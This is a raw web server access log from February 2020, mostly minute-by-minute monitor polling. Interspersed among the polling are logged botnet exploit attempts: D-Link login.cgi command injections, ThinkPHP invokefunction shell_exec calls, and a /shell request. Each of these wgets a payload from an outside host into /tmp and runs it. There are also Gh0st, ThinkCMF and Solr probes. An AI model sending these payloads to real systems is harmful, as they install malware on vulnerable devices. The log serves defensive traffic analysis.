121.180.208.154 - - [16/Feb/2020:12:32:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [16/Feb/2020:12:32:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:12:32:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.181.206.143 - - [16/Feb/2020:12:33:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [16/Feb/2020:12:33:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:34:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.162.144.231 - - [16/Feb/2020:12:35:40 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [16/Feb/2020:12:35:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:36:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:38:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.96.51.242 - - [16/Feb/2020:12:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:12:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [16/Feb/2020:12:41:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [16/Feb/2020:12:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.31.110.19 - - [16/Feb/2020:12:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [16/Feb/2020:12:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.23.220.192 - - [16/Feb/2020:12:46:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [16/Feb/2020:12:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.125.161.152 - - [16/Feb/2020:12:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:12:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.121.207.136 - - [16/Feb/2020:12:56:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [16/Feb/2020:12:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.121.207.136 - - [16/Feb/2020:12:57:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [16/Feb/2020:12:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.208.213.201 - - [16/Feb/2020:12:58:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.208.213.201 - - [16/Feb/2020:12:58:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
94.23.201.15 - - [16/Feb/2020:12:58:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [16/Feb/2020:12:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.52.90.139 - - [16/Feb/2020:13:05:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:13:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [16/Feb/2020:13:12:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:13:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:14:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.110.208.194 - - [16/Feb/2020:13:14:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:13:15:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.140.227.10 - - [16/Feb/2020:13:15:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:13:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:19:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [16/Feb/2020:13:30:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:13:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [16/Feb/2020:13:34:08 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [16/Feb/2020:13:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.36.140.100 - - [16/Feb/2020:13:35:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:13:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.220.98.192 - - [16/Feb/2020:13:41:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:13:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [16/Feb/2020:13:42:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [16/Feb/2020:13:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.135.39.144 - - [16/Feb/2020:13:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:13:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.142.220.76 - - [16/Feb/2020:13:54:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:13:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:55:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.112.192.120 - - [16/Feb/2020:13:58:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:13:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:13:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.252.185.46 - - [16/Feb/2020:14:02:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:14:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.76.207.121 - - [16/Feb/2020:14:03:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:14:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.196.83.248 - - [16/Feb/2020:14:05:42 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
116.196.83.248 - - [16/Feb/2020:14:05:42 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
116.196.83.248 - - [16/Feb/2020:14:05:42 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
116.196.83.248 - - [16/Feb/2020:14:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [16/Feb/2020:14:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [16/Feb/2020:14:09:09 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [16/Feb/2020:14:09:19 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:14:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [16/Feb/2020:14:10:24 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:14:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:14:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:15:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
108.11.30.72 - - [16/Feb/2020:14:16:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:14:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:19:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [16/Feb/2020:14:21:03 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [16/Feb/2020:14:21:04 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [16/Feb/2020:14:21:13 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
